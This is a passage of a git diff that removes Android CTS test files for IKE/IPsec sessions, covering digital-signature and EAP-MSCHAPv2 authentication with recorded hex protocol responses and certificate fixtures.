- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.ipsec.ike.IkeDerAsn1DnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.security.interfaces.RSAPrivateKey;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-import javax.security.auth.x500.X500Principal;
-
-/**
- * Explicitly test setting up transport mode Child SA so that devices do not have
- * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
- * IkeSessionPskTest and authentication method is orthogonal to Child mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionDigitalSignatureTest extends IkeSessionTestBase {
-    private static final int EXPECTED_AUTH_REQ_FRAG_COUNT = 3;
-
-    private static final String IKE_INIT_RESP =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F21202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0100030000080300000503000008"
-                    + "0200000400000008040000022800008800020000328451C8A976CE69E407966A"
-                    + "50D7320C4197A15A07267CE1B16BAFF9BDBBDEC1FDCDAAF7175ADF9AA8DB55DB"
-                    + "2D70C012D01D914C4EDEF6E8B226868EA1D01B2ED0C4C5C86E6BFE566010EC0C"
-                    + "33BA1C93666430B88BDA0470D82CC4F4416F49E3E361E3017C9F27811A66718B"
-                    + "389E1800915D776D59AA528A7E1D1B7815D35144290000249FE8FABE7F43D917"
-                    + "CE370DE2FD9C22BBC082951AC26C1BA26DE795470F2C25BC2900001C00004004"
-                    + "AE388EC86D6D1A470D44142D01AB2E85A7AC14182900001C0000400544A235A4"
-                    + "171C884286B170F48FFC181DB428D87D290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String IKE_AUTH_RESP_FRAG_1 =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000004E0240004C4"
-                    + "00010002DF6750A2D1D5675006F9F6230BB886FFD20CFB973FD04963CFD7A528"
-                    + "560598C58CC44178B2FCBBBBB271387AC81A664B7E7F1055B912F8C686E287C9"
-                    + "D31684C66339151AB86DA3CF1DA664052FA97687634558A1E9E6B37E16A86BD1"
-                    + "68D76DA5E2E1E0B7E98EB662D80D542307015D2BF134EBBBE425D6954FE8C2C4"
-                    + "D31D16C16AA0521C3C481F873ECF25BB8B05AC6083775C1821CAAB1E35A3955D"
-                    + "85ACC599574142E1DD5B262D6E5365CBF6EBE92FFCC16BC29EC3239456F3B202"
-                    + "492551C0F6D752ADCCA56D506D50CC8809EF6BC56EAD005586F7168F76445FD3"
-                    + "1366CC62D32C0C19B28210B8F813F97CD6A447C3857EFD6EC483DDA8ACD9870E"
-                    + "5A21B9C66F0FA44496C0C3D05E8859A1A4CFC88155D0C411BABC13033DD41FA4"
-                    + "AF08CE7734A146687F374F95634D1F26843203CA1FFD05CA3EB150CEA02FBF14"
-                    + "712B7A1C9BC7616A086E7FCA059E7D64EFF98DB895B32F8F7002762AF7D12F23"
-                    + "31E9DD25174C4CE273E5392BBB48F50B7A3E0187181216265F6A4FC7B91BE0AB"
-                    + "C601A580149D4B07411AE99DDB1944B977E86ADC9746605C60A92B569EEFAFFC"
-                    + "3A888D187B75D8F13249689FC28EBCD62B5E03AF171F3A561F0DEA3B1A75F531"
-                    + "971157DCE1E7BC6E7789FF3E8156015BC9C521EFE48996B41471D33BF09864E4"
-                    + "2436E8D7EB6218CDE7716DA754A924B123A63E25585BF27F4AC043A0C4AECE38"
-                    + "BB59DD62F5C0EC657206A76CED1BD26262237DA1CA6815435992A825758DEBEC"
-                    + "DDF598A22B8242AC4E34E70704DBA7B7B73DC3E067C1C98764F8791F84C99156"
-                    + "947D1FFC875F36FCE24B89369C1B5BF1D4C999DCA28E72A528D0E0163C66C067"
-                    + "E71B5E0025C13DA93313942F9EDA230B3ADC254821A4CB1A5DC9D0C5F4DC4E8E"
-                    + "CE46B7B8C72D3C5923C9B30DF1EF7B4EDEDA8BD05C86CA0162AE1BF8F277878E"
-                    + "607401BAA8F06E3EA873FA4C137324C4E0699277CDF649FE7F0F01945EE25FA7"
-                    + "0E4A89737E58185B11B4CB52FD5B0497D3E3CD1CEE7B1FBB3E969DB6F4C324A1"
-                    + "32DC6A0EA21F41332435FD99140C286F8ABBBA926953ADBEED17D30AAD953909"
-                    + "1347EF6D87163D6B1FF32D8B11FFB2E69FAEE7FE913D3826FBA7F9D11E0E3C57"
-                    + "27625B37D213710B5DD8965DAEFD3F491E8C029E2BF361039949BADEC31D60AC"
-                    + "355F26EE41339C03CC9D9B01C3C7F288F0E9D6DFEE78231BDA9AC10FED135913"
-                    + "2836B1A17CE060742B7E5B738A7177CCD59F70337BA251409C377A0FA5333204"
-                    + "D8622BA8C06DE0BEF4F32B6D4D77BE9DE977445D8A2A08C5C38341CB7974FBFB"
-                    + "22C8F983A7D6CEF068DDB2281E6673453521C831C1826861005AE5F37649BC64"
-                    + "0A6360B23284861441A440F1C5AADE1AB53CA63DB17F4C314D493C4C44DE5F20"
-                    + "75E084D080F92791F30BDD88373D50AB5A07BC72B0E7FFFA593103964E55603E"
-                    + "F7FEB7CA0762A1A7B86B6CCAD88CD6CBC7C6935D21F5F06B2700588A2530E619"
-                    + "DA1648AC809F3DDF56ACE5951737568FFEC7E2AB1AA0AE01B03A7F5A29CE73C0"
-                    + "5D2801B17CAAD0121082E9952FAB16BA1C386336C62D4CF3A5019CF61609433E"
-                    + "1C083237D47C4CF575097F7BF9000EF6B6C497A44E6480154A35669AD276BF05"
-                    + "6CC730B4E5962B6AF96CC6D236AE85CEFDA6877173F72D2F614F6696D1F9DF07"
-                    + "E107758B0978F69BC9DBE0CCBF252C40A3FDF7CE9104D3344F7B73593CCD73E0";
-    private static final String IKE_AUTH_RESP_FRAG_2 =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F3520232000000001000000F0000000D4"
-                    + "00020002155211EA41B37BC5F20568A6AE57038EEE208F94F9B444004F1EF391"
-                    + "2CABFCF857B9CD95FAAA9489ED10A3F5C93510820E22E23FC55ED8049E067D72"
-                    + "3645C00E1E08611916CE72D7F0A84123B63A8F3B9E78DBBE39967B7BB074AF4D"
-                    + "BF2178D991EDBDD01908A14A266D09236DB963B14AC33D894F0F83A580209EFD"
-                    + "61875BB56273AA336C22D6A4D890B93E0D42435667830CC32E4F608500E18569"
-                    + "3E6C1D88C0B5AE427333C86468E3474DAA4D1506AAB2A4021309A33DD759D0D0"
-                    + "A8C98BF7FBEA8109361A9F194D0FD756";
-    private static final String DELETE_IKE_RESP =
-            "46B8ECA1E0D72A18BF3FA1C2CB1EE86F2E202520000000020000004C00000030"
-                    + "342842D8DA37C8EFB92ED37C4FBB23CBDC90445137D6A0AF489F9F03641DBA9D"
-                    + "02F6F59FD8A7A78C7261CEB8";
-
-    // Using IPv4 for transport mode Child SA. IPv6 is currently infeasible because the IKE server
-    // that generates the test vectors is running in an IPv4 only network.
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.103"),
-                    InetAddresses.parseNumericAddress("172.58.35.103"));
-
-    // TODO(b/157510502): Add test for IKE Session setup with transport mode Child in IPv6 network
-
-    private static final String LOCAL_ID_ASN1_DN =
-            "CN=client.test.ike.android.net, O=Android, C=US";
-    private static final String REMOTE_ID_ASN1_DN =
-            "CN=server.test.ike.android.net, O=Android, C=US";
-
-    private static X509Certificate sServerCaCert;
-    private static X509Certificate sClientEndCert;
-    private static X509Certificate sClientIntermediateCaCertOne;
-    private static X509Certificate sClientIntermediateCaCertTwo;
-    private static RSAPrivateKey sClientPrivateKey;
-
-    @BeforeClass
-    public static void setUpCertsBeforeClass() throws Exception {
-        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-        sClientEndCert = CertUtils.createCertFromPemFile("client-a-end-cert.pem");
-        sClientIntermediateCaCertOne =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-one.pem");
-        sClientIntermediateCaCertTwo =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-two.pem");
-        sClientPrivateKey = CertUtils.createRsaPrivateKeyFromKeyFile("client-a-private-key.key");
-    }
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(
-                                new IkeDerAsn1DnIdentification(new X500Principal(LOCAL_ID_ASN1_DN)))
-                        .setRemoteIdentification(
-                                new IkeDerAsn1DnIdentification(
-                                        new X500Principal(REMOTE_ID_ASN1_DN)))
-                        .setAuthDigitalSignature(
-                                sServerCaCert,
-                                sClientEndCert,
-                                Arrays.asList(
-                                        sClientIntermediateCaCertOne, sClientIntermediateCaCertTwo),
-                                sClientPrivateKey)
-                        .build();
-
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(
-                IKE_INIT_RESP,
-                EXPECTED_AUTH_REQ_FRAG_COUNT /* expectedReqPktCnt */,
-                true /* expectedAuthUseEncap */,
-                IKE_AUTH_RESP_FRAG_1,
-                IKE_AUTH_RESP_FRAG_2);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java
deleted file mode 100644
index a104996..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionMschapV2Test.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.eap.EapSessionConfig;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Explicitly test setting up transport mode Child SA so that devices do not have
- * FEATURE_IPSEC_TUNNELS will be test covered. Tunnel mode Child SA setup has been tested in
- * IkeSessionPskTest and authentication method is orthogonal to Child mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionMschapV2Test extends IkeSessionTestBase {
-    private static final String IKE_INIT_RESP =
-            "46B8ECA1E0D72A1873F643FF94D249A921202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0080030000080300000203000008"
-                    + "0200000200000008040000022800008800020000CC6E71E67E32CED6BCE33FBD"
-                    + "A74113867E3FA3AE21C7C9AB44A7F8835DF602BFD6F6528B67FEE39821232380"
-                    + "C99E8FFC0A5D767F8F38906DA41946C2299DF18C15FA69BAC08D3EDB32E8C8CA"
-                    + "28431831561C04CB0CDE393F817151CD8DAF7A311838411F1C39BFDB5EBCF6A6"
-                    + "1DF66DEB067362649D64607D599B56C4227819D0290000241197004CF31AD00F"
-                    + "5E0C92E198488D8A2B6F6A25C82762AA49F565BCE9D857D72900001C00004004"
-                    + "A0D98FEABBFB92A6C0976EE83D2AACFCCF969A6B2900001C0000400575EBF73F"
-                    + "8EE5CC73917DE9D3F91FCD4A16A0444D290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String IKE_AUTH_RESP_1_FRAG_1 =
-            "46B8ECA1E0D72A1873F643FF94D249A93520232000000001000004E0240004C4"
-                    + "00010002C4159CB756773B3F1911F4595107BC505D7A28C72F05182966076679"
-                    + "CA68ED92E4BC5CD441C9CB315F2F449A8A521CAFED3C5F285E295FC3791D3415"
-                    + "E3BACF66A08410DF4E35F7D88FE40DA28851C91C77A6549E186AC1B7846DF3FA"
-                    + "0A347A5ABBCAEE19E70F0EE5966DC6242A115F29523709302EDAD2E36C8F0395"
-                    + "CF5C42EC2D2898ECDD8A6AEDD686A70B589A981558667647F32F41E0D8913E94"
-                    + "A6693F53E59EA8938037F562CF1DC5E6E2CDC630B5FFB08949E3172249422F7D"
-                    + "EA069F9BAD5F96E48BADC7164A9269669AD0DF295A80C54D1D23CEA3F28AC485"
-                    + "86D2A9850DA23823037AB7D1577B7B2364C92C36B84238357129EB4A64D33310"
-                    + "B95DCD50CD53E78C32EFE7DC1627D9432E9BFDEE130045DE967B19F92A9D1270"
-                    + "F1E2C6BFBAA56802F3E63510578EF1ECB6872852F286EEC790AA1FE0CAF391CB"
-                    + "E276554922713BA4770CFE71E23F043DC620E22CC02A74F60725D18331B7F2C9"
-                    + "276EB6FBB7CBDAA040046D7ECBE1A5D7064E04E542807C5101B941D1C81B9D5E"
-                    + "90347B22BD4E638E2EDC98E369B51AA29BDB2CF8AA610D4B893EB83A4650717C"
-                    + "38B4D145EE939C18DCEDF6C79933CEB3D7C116B1F188DF9DDD560951B54E4A7D"
-                    + "80C999A32AB02BF39D7B498DAD36F1A5CBE2F64557D6401AE9DD6E0CEADA3F90"
-                    + "540FE9114BB6B8719C9064796354F4A180A6600CAD092F8302564E409B71ACB7"
-                    + "590F19B3AC88E7A606C718D0B97F7E4B4830F11D851C59F2255846DA22E2C805"
-                    + "0CA2AF2ACF3B6C769D11B75B5AC9AB82ED3D90014994B1BF6FED58FBEF2D72EF"
-                    + "8BDFE51F9A101393A7CA1ACF78FAEBF3E3CC25E09407D1E14AF351A159A13EE3"
-                    + "9B919BA8B49942792E7527C2FB6D418C4DF427669A4BF5A1AFBBB973BAF17918"
-                    + "9C9D520CAC2283B89A539ECE785EBE48FBB77D880A17D55C84A51F46068A4B87"
-                    + "FF48FEEE50E1E034CC8AFF5DA92105F55EC4823E67BDFE942CA8BE0DAECBBD52"
-                    + "E8AAF306049DC6C4CF87D987B0AC54FCE92E6AE8507965AAAC6AB8BD3405712F"
-                    + "EE170B70BC64BDCBD86D80C7AAAF341131F9A1210D7430B17218413AE1363183"
-                    + "5C98FA2428B1E9E987ADC9070E232310A28F4C3163E18366FFB112BADD7C5E0F"
-                    + "D13093A7C1428F87856BA0A7E46955589ACA267CE7A04320C4BCDBB60C672404"
-                    + "778F8D511AAB09349DAB482445D7F606F28E7FBBB18FC0F4EC0AF04F44C282F9"
-                    + "39C6E3B955C84DADEA350667236583069B74F492D600127636FA31F63E560851"
-                    + "2FC28B8EA5B4D01D110990B6EA46B9C2E7C7C856C240EF7A8147BA2C4344B85A"
-                    + "453C862024B5B6814D13CDEAEF7683D539BB50CAFFC0416F269F2F9EDEC5FA30"
-                    + "022FD7B4B186CD2020E7ED8D81ED90822EDD8B76F840DD68F09694CFF9B4F33E"
-                    + "11DF4E601A4212881A6D4E9259001705C41E9E23D18A7F3D4A3463649A38211A"
-                    + "5A90D0F17739A677C74E23F31C01D60B5A0F1E6A4D44FED9D25BF1E63418E1FC"
-                    + "0B19F6F4B71DE53C62B14B82279538A82DD4BE19AB6E00AFC20F124AAB7DF21A"
-                    + "42259BE4F40EC69B16917256F23E2C37376311D62E0A3A0EF8C2AD0C090221D5"
-                    + "C5ECA08F08178A4D31FFDB150C609827D18AD83C7B0A43AEE0406BD3FB494B53"
-                    + "A279FDD6447E234C926AD8CE47FFF779BB45B1FC8457C6E7D257D1359959D977"
-                    + "CEF6906A3367DC4D454993EFDC6F1EA94E17EB3DCB00A289346B4CFD7F19B16E";
-    private static final String IKE_AUTH_RESP_1_FRAG_2 =
-            "46B8ECA1E0D72A1873F643FF94D249A935202320000000010000008000000064"
-                    + "00020002C61F66025E821A5E69A4DE1F591A2C32C983C3154A5003660137D685"
-                    + "A5262B9FDF5EDC699DE4D8BD38F549E3CBD12024B45B4C86561C36C3EED839DA"
-                    + "9860C6AA0B764C662D08F1B6A98F68CF6E3038F737C0B415AD8A8B7D702BD92A";
-    private static final String IKE_AUTH_RESP_2 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000020000008C30000070"
-                    + "62B90C2229FD23025BC2FD7FE6341E9EE04B17264CD619BCE18975A5F88BE438"
-                    + "D4AD4A5310057255AF568C293A29B10107E3EE3675C10AA2B26404D90C0528CC"
-                    + "F7605A86C96A1F2635CCC6CFC90EE65E5C2A2262EB33FE520EB708423A83CB63"
-                    + "274ECCBB102AF5DF35742657";
-    private static final String IKE_AUTH_RESP_3 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000030000004C30000030"
-                    + "AB52C3C80123D3432C05AF457CE93C352395F73E861CD49561BA528CFE68D17D"
-                    + "78BBF6FC41E81C2B9EA051A2";
-    private static final String IKE_AUTH_RESP_4 =
-            "46B8ECA1E0D72A1873F643FF94D249A92E20232000000004000000CC270000B0"
-                    + "8D3342A7AB2666AC754F4B55C5C6B1A61255E62FBCA53D5CDEEDE60DADB7915C"
-                    + "7F962076A58BF7D39A05ED1B60FF349B6DE311AF7CEBC72B4BB9723A728A5D3E"
-                    + "9E508B2D7A11843D279B56ADA07E608D61F5CA7638F10372A440AD1DCE44E190"
-                    + "7B7B7A68B126EBBB86638D667D5B528D233BA8D32D7E0FAC4E1448E87396EEE6"
-                    + "0985B79841E1229D7962AACFD8F872722EC8D5B19D4C82D6C4ADCB276127A1A7"
-                    + "3FC84CDF85B2299BC96B64AC";
-    private static final String DELETE_IKE_RESP =
-            "46B8ECA1E0D72A1873F643FF94D249A92E202520000000050000004C00000030"
-                    + "622CE06C8CB132AA00567E9BC83F58B32BD7DB5130C76E385B306434DA227361"
-                    + "D50CC19D408A8D4F36F9697F";
-
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.67"),
-                    InetAddresses.parseNumericAddress("172.58.35.67"));
-
-    private static final EapSessionConfig EAP_CONFIG =
-            new EapSessionConfig.Builder()
-                    .setEapIdentity(EAP_IDENTITY)
-                    .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                    .build();
-
-    private static X509Certificate sServerCaCert;
-
-    @BeforeClass
-    public static void setUpCertBeforeClass() throws Exception {
-        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-    }
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthEap(sServerCaCert, EAP_CONFIG)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                IKE_INIT_RESP);
-
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_1_FRAG_1,
-                IKE_AUTH_RESP_1_FRAG_2);
-
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_2);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_3);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_4);
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java
deleted file mode 100644
index 241e79b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java
+++ /dev/null
@@ -1,414 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.IkeSessionParams.IKE_OPTION_ACCEPT_ANY_REMOTE_ID;
-import static android.net.ipsec.ike.IkeSessionParams.IKE_OPTION_EAP_ONLY_AUTH;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthDigitalSignLocalConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthDigitalSignRemoteConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthEapConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthPskConfig;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-import static android.telephony.TelephonyManager.APPTYPE_USIM;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.net.eap.EapSessionConfig;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeIdentification;
-import android.net.ipsec.ike.IkeSaProposal;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeSessionParams.ConfigRequestIpv4PcscfServer;
-import android.net.ipsec.ike.IkeSessionParams.ConfigRequestIpv6PcscfServer;
-import android.net.ipsec.ike.IkeSessionParams.IkeConfigRequest;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.security.interfaces.RSAPrivateKey;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public final class IkeSessionParamsTest extends IkeSessionTestBase {
-    private static final int HARD_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(20L);
-    private static final int SOFT_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(10L);
-    private static final int DPD_DELAY_SECONDS = (int) TimeUnit.MINUTES.toSeconds(10L);
-    private static final int[] RETRANS_TIMEOUT_MS_LIST = new int[] {500, 500, 500, 500, 500, 500};
-
-    private static final Map<Class<? extends IkeConfigRequest>, Integer> EXPECTED_REQ_COUNT =
-            new HashMap<>();
-    private static final HashSet<InetAddress> EXPECTED_PCSCF_SERVERS = new HashSet<>();
-
-    static {
-        EXPECTED_REQ_COUNT.put(ConfigRequestIpv4PcscfServer.class, 3);
-        EXPECTED_REQ_COUNT.put(ConfigRequestIpv6PcscfServer.class, 3);
-
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV4_ADDRESS_1);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV4_ADDRESS_2);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV6_ADDRESS_1);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV6_ADDRESS_2);
-    }
-
-    // Arbitrary proposal and remote ID. Local ID is chosen to match the client end cert in the
-    // following CL
-    private static final IkeSaProposal SA_PROPOSAL =
-            SaProposalTest.buildIkeSaProposalWithNormalModeCipher();
-    private static final IkeIdentification LOCAL_ID = new IkeFqdnIdentification(LOCAL_HOSTNAME);
-    private static final IkeIdentification REMOTE_ID = new IkeFqdnIdentification(REMOTE_HOSTNAME);
-
-    private static final EapSessionConfig EAP_ALL_METHODS_CONFIG =
-            createEapOnlySafeMethodsBuilder()
-                    .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                    .build();
-    private static final EapSessionConfig EAP_ONLY_SAFE_METHODS_CONFIG =
-            createEapOnlySafeMethodsBuilder().build();
-
-    private X509Certificate mServerCaCert;
-    private X509Certificate mClientEndCert;
-    private X509Certificate mClientIntermediateCaCertOne;
-    private X509Certificate mClientIntermediateCaCertTwo;
-    private RSAPrivateKey mClientPrivateKey;
-
-    @Before
-    public void setUp() throws Exception {
-        // This address is never used except for setting up the test network
-        setUpTestNetwork(IPV4_ADDRESS_LOCAL);
-
-        mServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-        mClientEndCert = CertUtils.createCertFromPemFile("client-a-end-cert.pem");
-        mClientIntermediateCaCertOne =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-one.pem");
-        mClientIntermediateCaCertTwo =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-two.pem");
-        mClientPrivateKey = CertUtils.createRsaPrivateKeyFromKeyFile("client-a-private-key.key");
